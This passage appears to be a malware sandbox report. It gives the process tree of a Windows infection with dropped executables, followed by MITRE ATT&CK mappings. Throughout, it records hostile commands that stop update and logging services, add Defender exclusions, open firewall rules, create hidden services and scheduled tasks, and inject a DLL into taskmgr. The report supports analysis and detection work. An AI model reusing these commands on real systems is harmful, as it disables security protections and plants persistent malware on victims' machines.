      C:\Windows\system32\sc.exe stop UsoSvc
      4⤵
      Launches sc.exe
      PID:4920
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:5496
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      4⤵
      Launches sc.exe
      PID:6200
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      4⤵
      Launches sc.exe
      PID:5448
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      4⤵
      Launches sc.exe
      PID:2020
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      PID:4084
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      PID:4820
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      PID:3628
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      PID:4636
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "WSNKISKT"
      4⤵
      Launches sc.exe
      PID:5260
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "WSNKISKT" binpath= "C:\ProgramData\wikombernizc\reakuqnanrkn.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:1060
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      4⤵
      Launches sc.exe
      PID:4648
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "WSNKISKT"
      4⤵
      Launches sc.exe
      PID:2932
- C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe
  "C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe"
  2⤵
  - Executes dropped EXE
  PID:5472
- C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe
  "C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:5880
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:5988
- C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe
  "C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe"
  2⤵
  - UAC bypass
  - Windows security bypass
  - Checks computer location settings
  - Executes dropped EXE
  - Windows security modification
  - Checks whether UAC is enabled
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  - System policy modification
  PID:5512
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bxiohg0t\bxiohg0t.cmdline"
    3⤵
    PID:5680
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAE60.tmp" "c:\Users\Admin\AppData\Local\Temp\bxiohg0t\CSC4B75F882543542FBB57C80E849F9FA49.TMP"
      4⤵
      PID:5240
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe" -Force
    3⤵
    PID:5784
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5772
  - - C:\Users\Admin\Pictures\eabJDFLtGImO3pJbxcmLjAFj.exe
      "C:\Users\Admin\Pictures\eabJDFLtGImO3pJbxcmLjAFj.exe"
      4⤵
      PID:5644
    - - C:\Users\Admin\AppData\Local\Temp\u4cs.0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\u4cs.0.exe"
        5⤵
        
        PID:5492
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5492 -s 1012
        6⤵
        Program crash
        
        PID:4500
    - - C:\Users\Admin\AppData\Local\Temp\u4cs.1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\u4cs.1.exe"
        5⤵
        
        PID:5112
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5644 -s 1012
        5⤵
        Program crash
        
        PID:2164
  - - C:\Users\Admin\Pictures\Z9XNdvealN7jgaJPc7DqqZf2.exe
      "C:\Users\Admin\Pictures\Z9XNdvealN7jgaJPc7DqqZf2.exe"
      4⤵
      PID:5584
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:5332
    - - C:\Users\Admin\Pictures\Z9XNdvealN7jgaJPc7DqqZf2.exe
        
        "C:\Users\Admin\Pictures\Z9XNdvealN7jgaJPc7DqqZf2.exe"
        5⤵
        
        PID:6996
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:4384
        
        C:\Windows\SysWOW64\wermgr.exe
        
        "C:\Windows\system32\wermgr.exe" "-outproc" "0" "4384" "2128" "2076" "2132" "0" "0" "2136" "0" "0" "0" "0" "0"
        7⤵
        
        PID:6392
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        6⤵
        
        PID:6556
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        7⤵
        Modifies Windows Firewall
        
        PID:4988
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:5240
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:6420
      - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        6⤵
        
        PID:5672
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        7⤵
        
        PID:6600
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        7⤵
        Creates scheduled task(s)
        
        PID:3180
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        7⤵
        
        PID:3092
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        7⤵
        
        PID:7052
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        7⤵
        
        PID:5752
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        7⤵
        
        PID:6820
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        7⤵
        Creates scheduled task(s)
        
        PID:6424
        
        C:\Windows\windefender.exe
        
        "C:\Windows\windefender.exe"
        7⤵
        
        PID:6548
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        8⤵
        
        PID:552
        
        C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        9⤵
        Launches sc.exe
        
        PID:4488
  - - C:\Users\Admin\Pictures\7eSMXl3wom3AOQ0AJOUFPWCT.exe
      "C:\Users\Admin\Pictures\7eSMXl3wom3AOQ0AJOUFPWCT.exe"
      4⤵
      PID:3124
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:5200
    - - C:\Users\Admin\Pictures\7eSMXl3wom3AOQ0AJOUFPWCT.exe
        
        "C:\Users\Admin\Pictures\7eSMXl3wom3AOQ0AJOUFPWCT.exe"
        5⤵
        
        PID:7004
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:4468
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        6⤵
        
        PID:6424
  - - C:\Users\Admin\Pictures\lbdEWJIMnvAwodLjRsv57cdS.exe
      "C:\Users\Admin\Pictures\lbdEWJIMnvAwodLjRsv57cdS.exe"
      4⤵
      PID:6768
  - - C:\Users\Admin\Pictures\ddEy5z8oBB7a8NEE9Mk2Xj1M.exe
      "C:\Users\Admin\Pictures\ddEy5z8oBB7a8NEE9Mk2Xj1M.exe" --silent --allusers=0
      4⤵
      PID:856
    - - C:\Users\Admin\Pictures\ddEy5z8oBB7a8NEE9Mk2Xj1M.exe
        
        C:\Users\Admin\Pictures\ddEy5z8oBB7a8NEE9Mk2Xj1M.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.59 --initial-client-data=0x298,0x29c,0x2a0,0x274,0x2a4,0x6ae6e1d0,0x6ae6e1dc,0x6ae6e1e8
        5⤵
        
        PID:3512
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\ddEy5z8oBB7a8NEE9Mk2Xj1M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\ddEy5z8oBB7a8NEE9Mk2Xj1M.exe" --version
        5⤵
        
        PID:6876
    - - C:\Users\Admin\Pictures\ddEy5z8oBB7a8NEE9Mk2Xj1M.exe
        
        "C:\Users\Admin\Pictures\ddEy5z8oBB7a8NEE9Mk2Xj1M.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=856 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240423122833" --session-guid=a48bed6b-2cdf-4f80-8147-8007ac0caee7 --server-tracking-blob="ODU3MGFlOTYxYmI5ZjY1OGZlMDg4ZjY0NDNhOTA2MjNkNmVhNTAxNzhiNTU0ODE4ZDEwODFmODE4ZGQ0MDBlYTp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N19fNDU2Iiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTAiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzEzODc1MjQ4LjIwNjAiLCJ1dG0iOnsiY2FtcGFpZ24iOiI3NjdfXzQ1NiIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6Im1rdCJ9LCJ1dWlkIjoiMjk3ODY2NWMtMGZmNi00NWY3LTgzMDktZjI2MjFhMGU5YzZiIn0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=1005000000000000
        5⤵
        
        PID:5716
      - C:\Users\Admin\Pictures\ddEy5z8oBB7a8NEE9Mk2Xj1M.exe
        
        C:\Users\Admin\Pictures\ddEy5z8oBB7a8NEE9Mk2Xj1M.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.59 --initial-client-data=0x2a4,0x2a8,0x2ac,0x274,0x2b0,0x6a24e1d0,0x6a24e1dc,0x6a24e1e8
        6⤵
        
        PID:1684
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404231228331\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404231228331\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe"
        5⤵
        
        PID:1764
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404231228331\assistant\assistant_installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404231228331\assistant\assistant_installer.exe" --version
        5⤵
        
        PID:5728
      - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404231228331\assistant\assistant_installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404231228331\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x1096038,0x1096044,0x1096050
        6⤵
        
        PID:1084
  - - C:\Users\Admin\Pictures\8cqd5ceoeOP2Do0MW1wN6ynd.exe
      "C:\Users\Admin\Pictures\8cqd5ceoeOP2Do0MW1wN6ynd.exe"
      4⤵
      PID:752
    - - C:\Users\Admin\AppData\Local\Temp\7zSD145.tmp\Install.exe
        
        .\Install.exe /nxdidQZJ "385118" /S
        5⤵
        
        PID:4904
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        6⤵
        
        PID:2440
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        
        PID:6872
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:7140
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        9⤵
        
        PID:3580
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bWycNackLSywaqkmgR" /SC once /ST 12:30:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\KnKAMhI.exe\" em /pmsite_idPlU 385118 /S" /V1 /F
        6⤵
        Creates scheduled task(s)
        
        PID:7052
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
    3⤵
    PID:5848
- C:\Users\Admin\AppData\Local\Temp\1000207001\explorer.exe
  "C:\Users\Admin\AppData\Local\Temp\1000207001\explorer.exe"
  2⤵
  PID:5424
- - C:\Users\Admin\AppData\Roaming\build.exe
    "C:\Users\Admin\AppData\Roaming\build.exe"
    3⤵
    PID:6016
- - C:\Users\Admin\AppData\Roaming\system.exe
    "C:\Users\Admin\AppData\Roaming\system.exe"
    3⤵
    PID:4740
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\system.exe'
      4⤵
      PID:3688
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'system.exe'
      4⤵
      PID:6716
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\explorer.exe'
      4⤵
      PID:6348
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'explorer.exe'
      4⤵
      PID:5692
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "explorer" /tr "C:\Users\Admin\AppData\Roaming\explorer.exe"
      4⤵
      Creates scheduled task(s)
      PID:6892
  - - C:\Users\Admin\AppData\Local\Temp\hmkrns.exe
      "C:\Users\Admin\AppData\Local\Temp\hmkrns.exe"
      4⤵
      PID:6840
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
  2⤵
  PID:5548

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 368 -p 1476 -ip 1476
1⤵
PID:1904

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 1800 -ip 1800
1⤵
PID:4896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2280 -ip 2280
1⤵
PID:5272

C:\Users\Admin\AppData\Roaming\explorer.exe
C:\Users\Admin\AppData\Roaming\explorer.exe
1⤵
PID:3496

C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
1⤵
PID:5820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:4820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:6100

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 5492 -ip 5492
1⤵
PID:5360

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:6484

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 396 -p 5564 -ip 5564
1⤵
PID:3872

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 364 -p 5620 -ip 5620
1⤵
PID:6760

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 5644 -ip 5644
1⤵
PID:4580

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
PID:6308

C:\Users\Admin\AppData\Roaming\explorer.exe
C:\Users\Admin\AppData\Roaming\explorer.exe
1⤵
PID:444

C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
1⤵
PID:5504

C:\ProgramData\wikombernizc\reakuqnanrkn.exe
C:\ProgramData\wikombernizc\reakuqnanrkn.exe
1⤵
PID:6208
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  PID:3668
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:1808
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:2464
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:4868
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:4820
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:6492
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:4384
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:3828
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  PID:4920
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  PID:4100
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  PID:6848
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  PID:5320
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:1540
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:5496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Virtualization/Sandbox Evasion